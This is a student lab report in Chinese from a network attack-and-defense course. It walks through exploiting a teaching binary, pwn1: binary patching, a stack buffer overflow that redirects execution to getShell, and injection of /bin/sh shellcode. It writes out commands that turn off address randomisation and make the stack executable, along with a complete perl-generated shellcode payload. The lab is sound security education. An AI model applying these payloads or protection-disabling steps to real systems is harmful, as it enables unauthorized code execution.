20212810 2021-2022-2 《网络攻防实践》实践九报告
作者:互联网
20212810 2021-2022-2 《网络攻防实践》实践九报告
软件安全攻防--缓冲区溢出和shellcode
一.实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
二.实践过程
1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
-
下载目标文件pwn1,反汇编。
由图可知call指令调用foo函数,此时eip的值为80484ba,若想让call指令改为调用getShell函数,只需计算getShell-80484ba对应的补码再进行替换。计算结果为c3ffffff
-
接下来修改可执行文件
在16进制下将d7更改为c3
-
更改后再次反汇编查看
发现call指令改为调用getShell函数了
-
运行20212810pwn1,实验成功。
2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 确认输入字符串哪几个字符会覆盖到返回地址
-
通过eip的值发现5678这四个数最终会覆盖到堆栈上的返回地址,只需把这四个字符替换为 getShell 的内存地址即可。
构造输入字符串
通过之前的反汇编可知替换为\x7d\x84\x04\x08即可修改返回地址,调用getShell函数。由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。用16进制查看指令xxd查看input文件的内容是否如预期。
然后将input的输入,通过管道符“|”,作为20212810pwn2的输入。
3. 注入一个自己制作的shellcode并运行这段shellcode。
- 准备工作:设置堆栈可执行
apt-get install execstack //安装execstack命令
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
- 关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
more /proc/sys/kernel/randomize_va_space
查询是否关闭地址随机化
- 构造要注入的payload
接下来确定\x4\x3\x2\x1到底该填什么:
打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./20212810pwn2
再开另外一个终端,用gdb来调试pwn这个进程:
用ps -ef | grep 20212810pwn2命令找到pwn的进程号12803
- 启动gdb调试这个进程
然后反汇编foo函数,查看返回指令(ret)的地址
并在返回指令的地址处设置断点,再另外的一个终端按下回车,再使用c使得程序接着运行
用x/16x 0xffffd16c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd170:
- 修改文件中代码为
perl -e 'print "A" x 32;print "\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
执行(cat input_shellcode;cat) | ./pwn1,如下图所示攻击成功,执行shell功能:
成功
三.学习中遇到的问题及解决
设置堆栈时出现问题
解决方法:不知道为什么,过了几天做又可以了。
四.实践总结
这次作业相对轻松。但是有时候还存在很多编写错误,有空还需要多动手实践一下。
标签:x90,getShell,函数,实践,地址,2021,2022,shellcode 来源: https://www.cnblogs.com/bzhuihui/p/16271572.html